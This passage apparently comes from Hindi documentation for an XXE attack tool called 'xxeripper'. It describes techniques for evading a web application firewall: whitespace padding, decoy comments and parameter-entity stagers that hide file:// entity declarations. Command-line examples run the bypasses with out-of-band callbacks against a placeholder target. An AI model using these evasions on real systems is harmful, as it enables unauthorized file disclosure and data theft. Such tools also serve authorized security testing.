| `whitespace_pad` | XML डिक्लेरेशन में 512 स्पेस डाले गए | XML डिक्लेरेशन स्यूडो-एट्रिब्यूट के बीच मनमानी व्हाइटस्पेस की अनुमति देता है। जो WAF केवल बॉडी के पहले N बाइट्स का निरीक्षण करते हैं, वे एक पैडेड डिक्लेरेशन देखते हैं और कभी DOCTYPE तक नहीं पहुँचते। |
| `doctype_closure` | `]>` के बाद डिकॉय कमेंट | कुछ WAF इसका अंत का पता लगाने के लिए DOCTYPE को पार्स करते हैं, फिर शेष का निरीक्षण करते हैं। `]>` के बाद एक XML कमेंट डालने से उस पार्सर को जल्दी निकलने के लिए गुमराह किया जा सकता है जो एंटिटी डिक्लेरेशन को छोड़ देता है। XML पार्सर कमेंट को अनदेखा करता है। |
| `pe_stager` | एंटिटी डिक्लेरेशन को पैरामीटर-एंटिटी चेन के रूप में पुनर्लिखित | WAF `<!ENTITY % stage "…"` और `%stage;` देखते हैं लेकिन एक ही डिक्लेरेशन में कभी `SYSTEM "file://…"` URI नहीं देखते। पार्सर `%stage` का विस्तार करता है, जो वास्तविक एंटिटी घोषित करता है। किसी भी पार्सर पर काम करता है जो आंतरिक-सबसेट पैरामीटर एंटिटी की अनुमति देता है — Xerces और .NET बॉक्स से बाहर; libxml2 केवल तभी जब आंतरिक-PE प्रतिबंध बिल्ड समय पर हटा दिया गया हो। |

जिन एन्कोडर का आउटपुट किसी दिए गए पेलोड पर इनपुट के समान बाइट-समान होता है, उन्हें छोड़ दिया जाता है (कोई अनुरोध नहीं भेजा जाता)। प्रत्येक जीवित (पेलोड × एन्कोडर) संयोजन के लिए `XXE-WAF-BYPASS-<ENCODER>` (या OOB परिवारों के लिए `XXE-WAF-BYPASS-<ENCODER>-<PAYLOAD>`) के रूप में एक निष्कर्ष उठाया जाता है, या, OOB परिवारों के लिए, केवल तब जब एक सहसंबद्ध कॉलबैक आता है।```bash
# All encoders
xxeripper https://target.com/api/xml --bypass-waf all --oob-auto

# A targeted subset — the five highest-yield encoders
xxeripper https://target.com/api/xml \
    --bypass-waf utf16be,ucs4_2143,public_charref,whitespace_pad,b64_uri \
    --oob-auto

# Also encode custom payloads (skips those using {CALLBACK} / {DOMAIN})
xxeripper https://target.com/api/xml \
    --bypass-waf utf16be,ebcdic --bypass-waf-include-custom